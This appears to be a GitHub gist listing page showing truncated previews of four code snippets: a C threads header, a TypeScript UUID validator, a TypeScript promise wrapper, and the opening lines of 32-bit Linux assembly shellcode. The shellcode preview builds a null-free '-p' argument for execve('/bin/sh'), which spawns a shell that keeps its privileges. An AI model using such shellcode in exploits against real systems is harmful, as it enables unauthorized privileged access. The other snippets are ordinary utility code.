This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Copyright (C) 2021-2022 John Hunter Kohler <[email protected]> | |
*/ | |
#include <stdlib.h> | |
#include <stdatomic.h> | |
#include <errno.h> | |
#include "threads.h" | |
union thrd_routine_info { | |
int ret; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import crypto from "crypto"; | |
const UUIDPattern = | |
/^[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}$/i; | |
export class InvalidUUIDError extends Error { | |
public get name() { | |
return this.constructor.name; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class PromiseHandle<T> { | |
private _resolve!: (value: T | PromiseLike<T>) => void; | |
private _reject!: (reason?: unknown) => void; | |
private _promise: Promise<T>; | |
private _resolved: boolean = false; | |
private _rejected: boolean = false; | |
public constructor() { | |
this._promise = new Promise<T>((resolve, reject) => { | |
this._resolve = resolve; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Shellcode (linux, 32-bit, little-endian) | |
# --------- | |
# execve("/bin/sh", { "/bin/sh", "-p" }, NULL) | |
start: | |
# Calculate and store "-p" | |
mov $0x0101712E, %eax | |
sub $0x01010101, %eax | |
push %eax | |
mov %esp, %ecx |
OlderNewer